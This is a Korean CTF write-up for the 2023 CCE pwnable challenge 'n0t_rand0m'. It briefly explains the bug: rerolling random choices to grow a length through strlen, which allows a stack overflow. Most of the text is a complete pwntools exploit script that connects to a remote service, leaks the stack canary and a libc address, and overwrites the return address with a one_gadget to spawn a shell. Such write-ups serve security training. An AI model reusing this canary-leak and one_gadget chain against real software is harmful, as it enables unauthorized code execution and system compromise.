2023 CCE pwnble 문제이다.
문제에서는 바이너리와 libc 파일만 주었다.
위의 코드에서 랜덤 수들은 원하는 숫자가 나올 때까지 돌릴 수 있다. buf와 s배열을 붙이고 인자에 buf를 넣고 strlen함수를 실행하면 buf크기 + s크기를 nbytes에다가 넣을 수 있다. case 3에서 bof가 일어나므로 canary를 릭할 수 있다.
canary를 릭한 뒤 이번에는 buf크기 + s크기 + canary크기까지를 nbytes에 저장하고 이번에는 sfp까지 bof로 값을 채운다. 그리고 다시 nbytes + sfp크기를 nbytes에 저장하여 nbytes의 값을 49까지 만든다. 그리고 이번에는 libc base 주소를 구하기 위해 libc_start_call_main 주소를 릭한다.
해당 주소와 libc base와의 오프셋은 0x29d90이므로 libc base 주소와 원 가젯 주소를 구할 수 있다. case 7에 있는 함수에서 bof를 이용하여 원가젯주소로 실행흐름을 옮기겠다.
원가젯 주소의 null바이트를 위하여 dummy값들은 b”\x00”으로 채운다. 이렇게 되면 쉘을 획득할 수 있다.
아래는 공격 코드이다.
from pwn import *
import time
#p = process("./n0t_rand0m")
p = remote("20.196.192.95", 8888)
e = ELF("./n0t_rand0m")
libc = ELF("./libc.so.6")
one_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
#gdb.attach(p)
#context.log_level = 'debug'
def choose(k):
rn = ''
while True:
p.recvuntil("random number : ")
rn = p.recvline()[:-1]
print(rn)
if rn == k:
p.sendafter("continue? (yes or no)", b'no')
break
else:
p.sendafter("continue? (yes or no)", b'yes')
continue
def log(n, m): return success(": ".join([n, hex(m)]))
#nbytes = 32
p.sendafter("?", b'A'*0x8)
p.sendafter("write comment", b"A"*0x18)
choose(b"6")
#cnr_leak
choose(b"3")
cnr_leak = b'A'*25
p.sendafter("comment", cnr_leak)
choose(b"1")
p.recvuntil(cnr_leak)
cnr = u64(b'\x00' + p.recv(7))
log("cnr", cnr)
#nbytes = 41
choose(b"6")
#nbytes = 49
choose(b"3")
p.sendafter("comment", b'A'*0x18 + p64(cnr) + b'A'*8)
choose(b"3")
p.sendafter("comment", b'A'*0x19)
choose(b"6")
#/bin/sh
choose(b"3")
p.sendafter("comment", b"/bin/sh\x00"*3)
#libc_start_main
choose(b"3")
p.sendafter("comment", b'A'*32)
choose(b"1")
p.recv()
print(p.recvuntil(b"A"*40))
main = u64(p.recv(6) + b'\x00'*2)
lb = main - 0x29d90
pop_rdi = lb + 0x000000000002a3e5
onegadget = lb + one_gadget[0]
log("main", main)
log("lb", lb)
log("pop_rdi", pop_rdi)
log("onegadget", onegadget)
choose(b"7")
p.sendafter("name", b"/bin/sh\x00")
payload = b'\x00'*0x18
payload += p64(cnr)
payload += b'\x00'*0x8
payload += p64(onegadget)
p.sendafter("?", payload)
p.interactive()
쉘을 획득하여 flag를 얻었다.